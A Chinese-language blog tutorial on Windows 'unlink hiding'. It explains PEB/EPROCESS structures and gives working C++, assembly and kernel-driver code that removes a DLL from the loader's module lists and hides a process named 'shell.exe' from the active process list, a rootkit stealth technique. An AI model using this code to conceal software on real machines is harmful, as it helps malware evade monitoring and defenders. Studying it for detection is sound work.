断链隐藏

1.PE 结构

TEB 结构体:包含进程的线程信息

PEB 结构体:包含进程信息

ETHREAD 结构体:代表进程的线程

EPROCESS 结构体:代表一个进程

PEB_LDR_DATA 结构体

部分节点表示一个加载到进程中的 DLL 模块,包含三个 LIST_ENTRY 双向链表结构体

PEB_LDR_DATA+0x0c 是 InLoadOrderModuleList (表示模块加载的顺序)

PEB_LDR_DATA+0x14 是 InMemoryOrderModuleList (表示模块在内存的顺序)

PEB_LDR_DATA+0x1c 是 InInitializationOrderModuleList (表示模块初始化的顺序)

——————————————

x64

gs:[0x30] 指向 TEB

gs:[0x60] 和 TEB+0x60 指向 PEB

PEB+0x18 指向 PEB_LDR_DATA

x86

fs:[0x0] 指向 TEB

fs:[0x30] 指向 PEB

PEB+0x0c 指向 PEB_LDR_DATA

2.用户层 断链隐藏

流程

对指定 DLL 模块的双向链表进行断链

获取 PEB_LDR_DATA 地址
分别对三个 LIST_ENTRY 中的指定 DLL 模块进行断链

代码编写

使用 x64,如果用 x86 会加载一些 x64 的 DLL 无法隐藏,用 x64 却不会加载 x86 的 DLL

x64 不能直接在 C 代码中写汇编

选择 Dubug,视图->解决方案资源管理器->源文件->添加->新建项->x64.asm

x64.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm)、输出($(IntDir)%(fileName).obj)

x64.asm (获取 PEB_LDR_DATA 地址):

.CODE
    GetPEB_LDR_DATA PROC
    mov rax, gs: [60h] ; PEB
    mov rax, [rax + 18h] ; PEB_LDR_DATA
    ret
    GetPEB_LDR_DATA ENDP
END

x64Debug.cpp:

#include <iostream>
#include <windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA
{
    DWORD Length;
    bool Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    void* BaseAddress;
    void* EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    SHORT LoadCount;
    SHORT TlsIndex;
    HANDLE SectionHandle;
    ULONG CheckSum;
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 声明自定义函数
extern "C" PEB_LDR_DATA * __stdcall GetPEB_LDR_DATA();

// 断链隐藏
void HideModule(HMODULE hModule) {
    // 获取 PEB_LDR_DATA 地址
    PEB_LDR_DATA* pld = GetPEB_LDR_DATA();

    // 对 InLoadOrderModuleList 进行断链
    LIST_ENTRY* head = &(pld->InLoadOrderModuleList); // 链表头
    LIST_ENTRY* node = head->Flink; // 第一个节点
    do {
        LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); // 获取当前节点所在的 LDR_DATA_TABLE_ENTRY 基址

        // 双向链表断链
        if (ldte->BaseAddress == hModule) { // DLL地址是要隐藏的 DLL
            ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
            ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
        }

        node = node->Flink; // 下一个节点
    } while (node != head); // 遍历链表

    // 对 InMemoryOrderModuleList 进行断链
    head = &(pld->InMemoryOrderModuleList);
    node = head->Flink;
    do {
        LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);
        if (ldte->BaseAddress == hModule) {
            ldte->InMemoryOrderModuleList.Blink->Flink = ldte->InMemoryOrderModuleList.Flink;
            ldte->InMemoryOrderModuleList.Flink->Blink = ldte->InMemoryOrderModuleList.Blink;
        }
        node = node->Flink;
    } while (node != head);

    // 对 InInitializationOrderModuleList 进行断链
    head = &(pld->InInitializationOrderModuleList);
    node = head->Flink;
    do {
        LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);
        if (ldte->BaseAddress == hModule) {
            ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink;
            ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink;
        }
        node = node->Flink;
    } while (node != head);

    /*
    * 隐藏所有 DLL,不推荐
    PLIST_ENTRY head;
    head = &(ldr->InLoadOrderModuleList);
    head->Flink = head->Blink = head;
    head = &(ldr->InMemoryOrderModuleList);
    head->Flink = head->Blink = head;
    head = &(ldr->InInitializationOrderModuleList);
    head->Flink = head->Blink = head;
    */
}

int main() {
    // 对 ntdll.dll 进行断链
    HideModule(GetModuleHandle(L"ntdll.dll"));
    getchar(); // 通过 LordPE 查看发现 ntdll.dll 没有了
}

3.内核层 断链隐藏

流程

对指定进程模块的双向链表进行断链

获取 EPROCESS 地址
对双向链表中的指定进程模块进行断链

代码编写

x86Diver.c:

#include <ntddk.h>

VOID DriverUnload(PDRIVER_OBJECT driver) {
}

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
    // 获取 EPROCESS 地址
    PEPROCESS eprocess;
    __asm {
        mov eax, fs: [0x124] // ETHREAD
        mov eax, [eax + 0x220] // EPROCESS
        mov eprocess, eax;
    }

    PEPROCESS pCurProcess = eprocess; // 当前进程

    do {
        PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174; // 获取当前进程名

        // 双向链表断链
        if (strcmp(ImageFileName, "shell.exe") == 0) { // 当前进程为 shell
            PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88); 
            curNode->Flink->Blink = curNode->Blink;
            curNode->Blink->Flink = curNode->Flink;
        }

        pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88); // 下一个进程
    } while (eprocess != pCurProcess); // 遍历进程

    driver->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}
posted @ 2023-03-17 21:04  Hacker&Cat  阅读(385)  评论(0编辑  收藏  举报